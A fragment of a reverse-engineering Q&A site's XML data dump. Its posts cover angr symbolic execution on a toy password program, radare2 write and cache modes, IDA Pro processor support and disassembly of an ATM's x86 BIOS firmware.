  <row Id="19866" PostTypeId="1" CreationDate="2018-11-10T15:57:06.757" Score="1" ViewCount="149" Body="&lt;p&gt;Hi I'm relatively new to RE, and I'm using GDB and Radare2. As part of a crackme I'm trying to reverse a weak hash function that's a little too complicated for me to undo by hand. I've been trying to execute backwards with GDB but no luck. What are the common techniques for accomplishing this task?&lt;/p&gt;&#xA;" OwnerUserId="26363" LastActivityDate="2018-11-10T15:57:06.757" Title="Techniques for reversing (basic) hash function" Tags="|radare2|gdb|hash-functions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19867" PostTypeId="1" AcceptedAnswerId="19870" CreationDate="2018-11-10T22:30:39.890" Score="1" ViewCount="892" Body="&lt;p&gt;I create the following c program as a proof of concept. When I try to analyze it with anger it never finishes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;char *secret = &quot;password&quot;;&#xA;&#xA;int compare(char *string)&#xA;{&#xA;    int i, c=0;&#xA;    for (i=0; i&amp;lt; strlen(secret); i++)&#xA;    {&#xA;        if (string[i] == secret[i])&#xA;            c++;&#xA;    }&#xA;    if (c == 8)&#xA;        printf(&quot;You won&quot;);&#xA;    return 0;&#xA;}&#xA;int main(int argc, char **argv)&#xA;{&#xA;    char input[50];&#xA;    scanf(&quot;%s&quot;, input);&#xA;    compare(input);&#xA;    return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;&#xA;import angr&#xA;import sys&#xA;import logging&#xA;import claripy&#xA;&#xA;FIND = 0x00000000000011dd&#xA;LEN = 8 &#xA;&#xA;def basic_symbolic_execution():&#xA;    p = angr.Project('test', load_options={'auto_load_libs':False})&#xA;&#xA;    flag = claripy.BVS('flag', LEN * 8)&#xA;&#xA;    st = p.factory.entry_state(&#xA;        stdin=flag,&#xA;    )&#xA;&#xA;    sm = p.factory.simulation_manager(st)&#xA;    sm.explore(find=FIND, num_find=1)&#xA;&#xA;    print(&quot;Found solution&quot;)&#xA;    out = b''&#xA;&#xA;    for pp in sm.deadended:&#xA;        out = pp.posix.dumps(1)&#xA;        print(out)&#xA;&#xA;    import IPython; IPython.embed()&#xA;&#xA;def test():&#xA;    r = basic_symbolic_execution()&#xA;&#xA;if __name__ == '__main__':&#xA;    sys.stdout.buffer.write(basic_symbolic_execution())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried to use explore on the address of c++ 8 times and then checking the stdin and it finishes but the result is all zeros. I was wondering if any of you have faced something similar and what your solutions were.&lt;/p&gt;&#xA;" OwnerUserId="26228" LastEditorUserId="26228" LastEditDate="2018-11-10T22:36:15.140" LastActivityDate="2018-11-12T06:01:57.023" Title="Angr never finishes" Tags="|angr|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19870" PostTypeId="2" ParentId="19867" CreationDate="2018-11-11T08:53:15.697" Score="1" Body="&lt;p&gt;By your FIND address it seems like your binary was compiled with PIE. Please verify this. Angr will load PIE enabled elf at a base address of 0x400000, add this to your FIND address so that angr is able to resolve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a couple of changes to your script to make it detect the &quot;password&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import sys&#xA;import logging&#xA;import claripy&#xA;&#xA;FIND = 0x00400672&#xA;LEN = 8&#xA;&#xA;def basic_symbolic_execution():&#xA;    p = angr.Project('x', load_options={'auto_load_libs':False})&#xA;&#xA;    flag = claripy.BVS('flag', LEN * 8)&#xA;&#xA;    st = p.factory.entry_state(&#xA;        stdin=flag,&#xA;    )&#xA;&#xA;    sm = p.factory.simulation_manager(st)&#xA;    sm.explore(find=FIND, num_find=1)&#xA;&#xA;    print(&quot;Found solution&quot;)&#xA;    out = b''&#xA;&#xA;    for pp in sm.found:&#xA;        out = pp.posix.dumps(0)&#xA;        print(out)&#xA;        print(pp.solver.eval(flag, cast_to=str))&#xA;&#xA;    import IPython; IPython.embed()&#xA;&#xA;def test():&#xA;    r = basic_symbolic_execution()&#xA;&#xA;if __name__ == '__main__':&#xA;    basic_symbolic_execution()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To look for states which actually reached your FIND addresses you need to iterate over &lt;code&gt;found&lt;/code&gt; of a &lt;code&gt;simulation_manager&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;code&gt;man stdin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On  program  startup, the integer file descriptors associated with the streams stdin,&#xA;         stdout, and  stderr  are  0,  1,  and  2,  respectively.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So to get input you need to use &lt;code&gt;pp.posix.dumps(0)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also added on how to use &lt;code&gt;solver&lt;/code&gt; of a found state to solve for constraints that you set like the &lt;code&gt;flag&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also offset for the printf in the binary for me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -no-pie -fno-pic x.c -o x&#xA;$ r2 -AA x -qc &quot;pdf @ sym.compare ~won&quot;    &#xA;│       │   0x00400672      bf7d074000     mov edi, str.You_won        ; 0x40077d ; &quot;You won&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-11-12T06:01:57.023" LastActivityDate="2018-11-12T06:01:57.023" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19871" PostTypeId="2" ParentId="19037" CreationDate="2018-11-11T17:54:33.967" Score="0" Body="&lt;p&gt;Another option (although not as good a choice as API Monitor in this scenario) is to use SysInternals' &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb896645&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt;. It will record (in great detail) all activity performed by your application. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Process Monitor is a free tool from Microsoft that displays file&#xA;  system, registry, process, and other activities on the system. It’s an&#xA;  invaluable tool for troubleshooting Windows problems as well as for&#xA;  malware forensics and analysis tasks. The thoroughness of the tool is&#xA;  also weakness, as the amount of data captured by Process Monitor can&#xA;  easily overwhelm the analyst.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Fortunately, you can filter the output of Process Monitor, and some have &lt;a href=&quot;https://zeltser.com/process-monitor-filters-for-malware-analysis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;even created filter-sets&lt;/a&gt; that you can download and load into Process Monitor, saving you the time of creating them yourself.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2018-11-11T17:54:33.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19872" PostTypeId="2" ParentId="1701" CreationDate="2018-11-12T00:46:26.403" Score="4" Body="&lt;p&gt;I, of course, use &lt;a href=&quot;https://pypi.org/project/uncompyle6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;uncompyle6&lt;/a&gt;. Disclaimer: I work on this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written at length about the uncompyle6 and pycdc &lt;a href=&quot;https://stackoverflow.com/a/38593394/546218&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22048" LastEditorUserId="22048" LastEditDate="2018-11-13T18:26:41.813" LastActivityDate="2018-11-13T18:26:41.813" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19873" PostTypeId="1" CreationDate="2018-11-12T09:02:34.380" Score="1" ViewCount="4028" Body="&lt;p&gt;I am analyzing a malware, it has a lot of confusing methods, I wrote an idc script to remove confusion, use the MakeCode() function to convert some Unexplored data into code, but there are still some that can't be converted when you manually convert When some Unexplored data, it will pop up a window to prompt you whether to convert, so I need a method to force the conversion of Unexplored data to code. Does anyone know which api script language can implement such a function? I used FindUnexplored to find Unexplored data.&lt;/p&gt;&#xA;" OwnerUserId="26376" LastActivityDate="2018-12-12T13:02:35.567" Title="How to convert Unexplored data in IDA Pro to code？" Tags="|ida|binary-analysis|malware|pe|idc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19874" PostTypeId="2" ParentId="19873" CreationDate="2018-11-12T12:31:04.297" Score="3" Body="&lt;p&gt;Using &lt;code&gt;MakeCode&lt;/code&gt; function with idc or idaPython is completely OK, this function is exactly what you need.&#xA;However (especially when analyzing malware) you can encounter the following problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It may be encrypted (like AES or other encryption algorithm) or transformed (like xored with some pattern)  code. Obviously, it can not be disassembled as is.&lt;/li&gt;&#xA;&lt;li&gt;It may be obfuscated code with garbage bytes inside (something like &lt;code&gt;jmp $+6;garbage byte;code to jump to&lt;/code&gt; ). In general IDA should handle it, but if you starting your conversion from incorrect byte it will be garbage. This problem can be found in architectures with non-constant instruction length, such as x86 or x64.&lt;/li&gt;&#xA;&lt;li&gt;It may be just data.  Not all unexplored bytes are the code.&lt;/li&gt;&#xA;&lt;li&gt;It may be some exotic variant of instruction that IDA disassembler can not handle.While theoretically possible, it is highly unlikely.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-11-12T12:31:04.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19875" PostTypeId="1" CreationDate="2018-11-12T12:39:47.617" Score="1" ViewCount="35" Body="&lt;p&gt;When I look at a .Net compiled DLL that is supposed to conform to ECMA-335, I see the PE Header well defined up to 0x1EF, but there seems to be block between 0x1F0 and 0x208 which is mainly 00's that is not referenced in the spec, the closest I get to is thinking it's the IT or IAT, but the document says it should be 40bytes long not the 28 I see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific version of the DLL's CB is Major 2, Minor 5 - which is also missing from the spec. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Or pointers to research content, please?&lt;/p&gt;&#xA;" OwnerUserId="26378" LastActivityDate="2018-11-12T12:39:47.617" Title="How to tell when Cor20 starts for DLL's that are supposed to meet ECMA-335?" Tags="|decompilation|pe|.net|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19876" PostTypeId="1" CreationDate="2018-11-12T15:39:36.623" Score="3" ViewCount="1500" Body="&lt;p&gt;This program I am analyzing is full of anti-debugging.  It won't even run if most debuggers are loaded before I start the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using IDA to static analyze it, but it was written in a OOP language, and has many calls to pointers inside registers; so I keep getting stuck digging in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm wondering if it's possible to patch the .exe with code above the calls to record the register values, and maybe the line of the instruction. and then I can see what functions/methods are being called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a bunch of zero bytes to the end of the .exe, and it ran, so it doesn't seem to have any checksum verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this be possible?&lt;/p&gt;&#xA;" OwnerUserId="26381" LastEditorUserId="245" LastEditDate="2018-11-13T08:45:14.043" LastActivityDate="2022-05-28T20:58:02.343" Title="Is this a good way to get past anti-debugging measures?" Tags="|assembly|static-analysis|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19878" PostTypeId="2" ParentId="19876" CreationDate="2018-11-12T18:47:34.660" Score="0" Body="&lt;p&gt;I think CRC routine is inside code, maybe more than one for different part  of code. It's not necessary checksum at the end of whole of file. For  example its possible count sum of bytes and  compare it with a value  inside a register. Do you are debugging win32/64 or android file?&lt;/p&gt;&#xA;" OwnerUserId="26292" LastActivityDate="2018-11-12T18:47:34.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19880" PostTypeId="1" CreationDate="2018-11-12T19:59:47.420" Score="2" ViewCount="6559" Body="&lt;p&gt;Note: I am only doing this for educational purposes with no intent to redistribute&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have decompiled an APK built with Unity successfully (Somewhat).&#xA;Using an array of programs, I managed to extract all the games assets and the scripts, though I am trying to re-construct it in unity to debug. I imported all the original scenes, and how they were set up (including all the attached scripts required) though I am receiving anywhere from 200-999+ errors in the console before I even run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these issues are from invalid characters (Decompiler-Generated fields) within scripts, which can easily be resolved by renaming them to a friendlier format, however, I sat here for a good hour resolving these errors, when I completed the last shown error, i hit play, and it generated another few hundred errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would it be that, if I was able to extract the scripts successfully (seemingly zero obfuscation), that, when imported into unity, I am thrown so many errors? Why is this not a 1:1 translatable process? Or is this problem based upon too many variables to be determined based off my question?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programs used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dnSPY&lt;/li&gt;&#xA;&lt;li&gt;UtinyRipper&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26383" LastActivityDate="2020-01-20T14:01:35.173" Title="Reconstructing Unity APK" Tags="|debugging|apk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19881" PostTypeId="1" CreationDate="2018-11-13T15:36:27.070" Score="4" ViewCount="2625" Body="&lt;p&gt;How do I save a radare2 session after I did &quot;aa&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a command for saving a project, but this isn't working out for some reason (Ps PROJECTNAME). So I am looking for a way to save my analysis progress and if possible retain renamed variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It currently doesn't work because if I open it again another time it won't load the renamed variables and I can't do stuff like &quot;ood&quot; which is the way to reopen the binary as far as I'm concerned. But there are no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After invoking radare2 with &lt;code&gt;r2 -d calc&lt;/code&gt; I run &lt;code&gt;aa&lt;/code&gt; and then &lt;code&gt;Ps calc_project&lt;/code&gt;. After that I close the terminal and open up a new one. Then I start with &lt;code&gt;r2 -d calc&lt;/code&gt; again and follow it with &lt;code&gt;Po calc_project&lt;/code&gt;. Now, there are many errors which appear to be the same over and over again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fcn_recurse failed&#xA;Cannot add basic block&quot;, that message 50 times or more.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Version information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 version: &#xA;radare2 3.1.0-git 20049 @ linux-x86-64 git.3.0.1-214-g5759f21&#xA;commit: 5759f217c941478ef265bf9a6ba5e23cd646661a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26390" LastEditorUserId="245" LastEditDate="2018-11-13T21:27:20.700" LastActivityDate="2018-11-13T21:27:20.700" Title="How to save Radare2 Analysis?" Tags="|radare2|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19882" PostTypeId="1" AcceptedAnswerId="19883" CreationDate="2018-11-13T20:33:13.617" Score="5" ViewCount="6157" Body="&lt;p&gt;Radare2 supports a &lt;code&gt;w&lt;/code&gt; which writes a string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;w foobar             write string 'foobar'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't seem to work for me,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ touch foo&#xA;&#xA;$ radare2 ./foo&#xA;w foobar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;foo&lt;/code&gt; remains empty. Am I supposed to flush or save?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2019-04-16T01:09:42.597" LastActivityDate="2020-11-10T03:42:45.770" Title="Writing a file with radare2 `w`?" Tags="|radare2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19883" PostTypeId="2" ParentId="19882" CreationDate="2018-11-13T20:43:42.960" Score="7" Body="&lt;h2&gt;TLDR&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;radare2&lt;/code&gt; opens a file in &lt;em&gt;&lt;code&gt;read-only mode&lt;/code&gt; by default&lt;/em&gt;. (see the manual &lt;code&gt;r2 -h&lt;/code&gt; for further information.)&lt;/li&gt;&#xA;&lt;li&gt;to allow &lt;em&gt;writing to a file&lt;/em&gt;, start radare2 in &lt;code&gt;write mode&lt;/code&gt; (&lt;code&gt;r2 -w file&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;when in a &lt;code&gt;read-only session&lt;/code&gt; already, &lt;code&gt;oo+&lt;/code&gt; will &lt;em&gt;re-open the file&lt;/em&gt; in &lt;code&gt;write&lt;/code&gt; mode.&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;cache mode&lt;/code&gt; (&lt;code&gt;e io.cache=true&lt;/code&gt;) mimics writing access but &lt;em&gt;changes in radare2 are not actually written to disk&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Write Mode - Example&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the file &lt;code&gt;foo&lt;/code&gt; in &lt;code&gt;write mode&lt;/code&gt;:&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -w foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Print 32 bytes (with &lt;code&gt;px 32&lt;/code&gt;):&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 32&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00000010  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note: The first 32 bytes (and the rest of the file) are empty.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Let's write &amp;quot;Hello World!&amp;quot; into the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; w Hello World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And print the 32 bytes again:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 32&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  4865 6c6c 6f20 576f 726c 6421 ffff ffff  Hello World!....&#xA;0x00000010  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Great! Now we can see that &amp;quot;Hello World!&amp;quot; is written to the file.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Let's quit radare2 and &lt;code&gt;cat&lt;/code&gt; the file to see the content:&#xA;&lt;pre&gt;&lt;code&gt; [0x00000000]&amp;gt; q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ cat foo&#xA;Hello World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Cache Mode - Example&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the file &lt;code&gt;foo&lt;/code&gt; in write mode:&#xA;&lt;pre&gt;&lt;code&gt;$ r2 foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Print the first 32 bytes@&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 32&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  4865 6c6c 6f20 576f 726c 6421 ffff ffff  Hello World!....&#xA;0x00000010  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Activate 'cache mode`:&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; e io.cache=true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Make some changes in radare2:&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; w Goodbyte World! :)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Proof that radare2 mimicked writing as if in &lt;code&gt;write mode&lt;/code&gt;:&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; px 32&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00000000  476f 6f64 6279 7465 2057 6f72 6c64 2120  Goodbyte World!&#xA;0x00000010  3a29 ffff ffff ffff ffff ffff ffff ffff  :)..............&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Quit radare2:&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Examine actual file contents:&#xA;&lt;pre&gt;&lt;code&gt;$ cat foo&#xA;Hello World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;Note: The file didn't change! That's the effect of &lt;code&gt;cache mode&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="14622" LastEditDate="2020-11-10T03:42:45.770" LastActivityDate="2020-11-10T03:42:45.770" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19884" PostTypeId="1" CreationDate="2018-11-14T07:02:23.720" Score="2" ViewCount="306" Body="&lt;p&gt;As the title describes, I'd like to export breakpoints in IDA Pro and load from another project. Is there such feature?&lt;/p&gt;&#xA;" OwnerUserId="26185" LastEditorUserId="1635" LastEditDate="2018-11-14T15:56:56.130" LastActivityDate="2018-12-12T13:14:52.430" Title="Is there any way to export breakpoint with IDA Pro?" Tags="|ida|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19885" PostTypeId="1" AcceptedAnswerId="19889" CreationDate="2018-11-14T07:32:30.160" Score="4" ViewCount="613" Body="&lt;p&gt;I bought an Hyosung NH1500 off Offer-up and it boots up and initializes some peripherals and then spits out and error of &quot;COM download is failed&quot;. I've searched Google and 0 results came up, I've been searching and reading everything I can about ATMs and reverse engineering them but there's not much information. I was able to find the ATM's update file and in the update file is a file called &lt;code&gt;boot.bin&lt;/code&gt; and when I throw it into IDA Pro and set processor to ARM Little-Endian ARMv4T because the processor is an S3C2410A and that's what the datasheet said but I cannot figure out the address to load the binary at to get any disassembled code that looks correct, but inside that file is the string &quot;COM download is failed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I am asking is, can anyone help me find the loading address of &lt;code&gt;bios.bin&lt;/code&gt; in the update file located &lt;a href=&quot;https://ufile.io/4xbb1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26395" LastEditorUserId="245" LastEditDate="2018-11-14T11:23:13.230" LastActivityDate="2018-11-14T19:17:30.673" Title="Reverse Engineering bios of ATM Machine" Tags="|disassembly|binary-analysis|decompilation|firmware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19887" PostTypeId="1" CreationDate="2018-11-14T14:55:48.530" Score="2" ViewCount="612" Body="&lt;p&gt;Why there aren't RH850 series(like RH850G3K) processors in the processor type list in my IDA? (IDA website says they are supported)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA Pro 7.0&lt;/p&gt;&#xA;" OwnerUserId="26398" LastEditorUserId="245" LastEditDate="2018-11-14T16:20:57.377" LastActivityDate="2018-11-15T08:55:20.227" Title="Why is the RH850G3K processor missing in my IDA?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19888" PostTypeId="2" ParentId="19887" CreationDate="2018-11-14T16:16:23.780" Score="4" Body="&lt;p&gt;Okay, so after looking into this a bit further I came to the following conclusion. This &lt;em&gt;may&lt;/em&gt; work for you by picking another processor model supported by the &lt;code&gt;nec850&lt;/code&gt; processor module. However, &lt;strong&gt;RH850 support in particular was only introduced in IDA 7.2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Looking further we can see in the Wikipedia article on &lt;a href=&quot;https://en.wikipedia.org/wiki/Renesas_Electronics&quot; rel=&quot;nofollow noreferrer&quot;&gt;Renesas&lt;/a&gt; we find out why it ended up in the &lt;code&gt;nec850&lt;/code&gt; processor module:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;History&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Renesas Electronics started operation in April 2010, through&#xA;  the integration of NEC Electronics Corporation and Renesas Technology&#xA;  Corporation.&lt;/strong&gt; NEC Electronics was established in November 2002 by a&#xA;  spin-off of the semiconductor operations of NEC. Renesas Technology&#xA;  was established on April 1, 2003, as a joint venture of Hitachi, Ltd.&#xA;  (55%) and Mitsubishi Electric (45%).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The name RH850 is actually not used in the IDA SDK 7.0 and 7.1 (this particular processor module comes with source code included as also indicated on the Hex-Rays website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/7.2/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;release information for IDA 7.2&lt;/a&gt; we can read:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The NEC 850 processor module has been extended to handle new&#xA;  addressing modes and instructions for V850E2M and RH850 from Renesas.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So no support prior to IDA 7.2 as I already surmised. In the IDA SDK 7.2 we can then find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const char *const shnames[] =&#xA;{&#xA;  &quot;V850&quot;,&#xA;  &quot;V850E&quot;,&#xA;  &quot;V850E1&quot;,&#xA;  &quot;V850E2M&quot;,&#xA;  &quot;RH850&quot;,&#xA;  NULL&#xA;};&#xA;&#xA;static const char *const lnames[] =&#xA;{&#xA;  FAMILY&quot;NEC V850&quot;,&#xA;  &quot;NEC V850E&quot;,&#xA;  &quot;NEC/Renesas V850E1/ES&quot;,&#xA;  &quot;NEC/Renesas V850E2/E2M&quot;,&#xA;  &quot;Renesas RH850&quot;,&#xA;  NULL&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This should also provide the clue which possible alternative names you could try for rudimentary support using related processor models. &lt;em&gt;All&lt;/em&gt; of those are implemented in that same &lt;code&gt;nec850&lt;/code&gt; processor module.)&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2018-11-15T08:55:20.227" LastActivityDate="2018-11-15T08:55:20.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19889" PostTypeId="2" ParentId="19885" CreationDate="2018-11-14T19:17:30.673" Score="7" Body="&lt;p&gt;The files in the update are &lt;strong&gt;not ARM&lt;/strong&gt; but classic 16-bit x86 code. For example, loading &lt;code&gt;bios.bin&lt;/code&gt; at F000:0000 and starting disassembly from F000:FFF0 (standard x86 entrypoint) produces nice code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg:FFF0                _reset:                            &#xA;cseg:FFF0                                                   &#xA;cseg:FFF0 FA                             cli&#xA;cseg:FFF1 BA A4 FF                       mov     dx, 0FFA4h&#xA;cseg:FFF4 B8 02 80                       mov     ax, 8002h&#xA;cseg:FFF7 EF                             out     dx, ax&#xA;cseg:FFF8 EA 20 00 00 F0                 jmp     far ptr loc_F000_20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is apparently hardware-specific and does not resemble much the classic BIOS of the generic PCs. &lt;/p&gt;&#xA;" OwnerUserId="60" 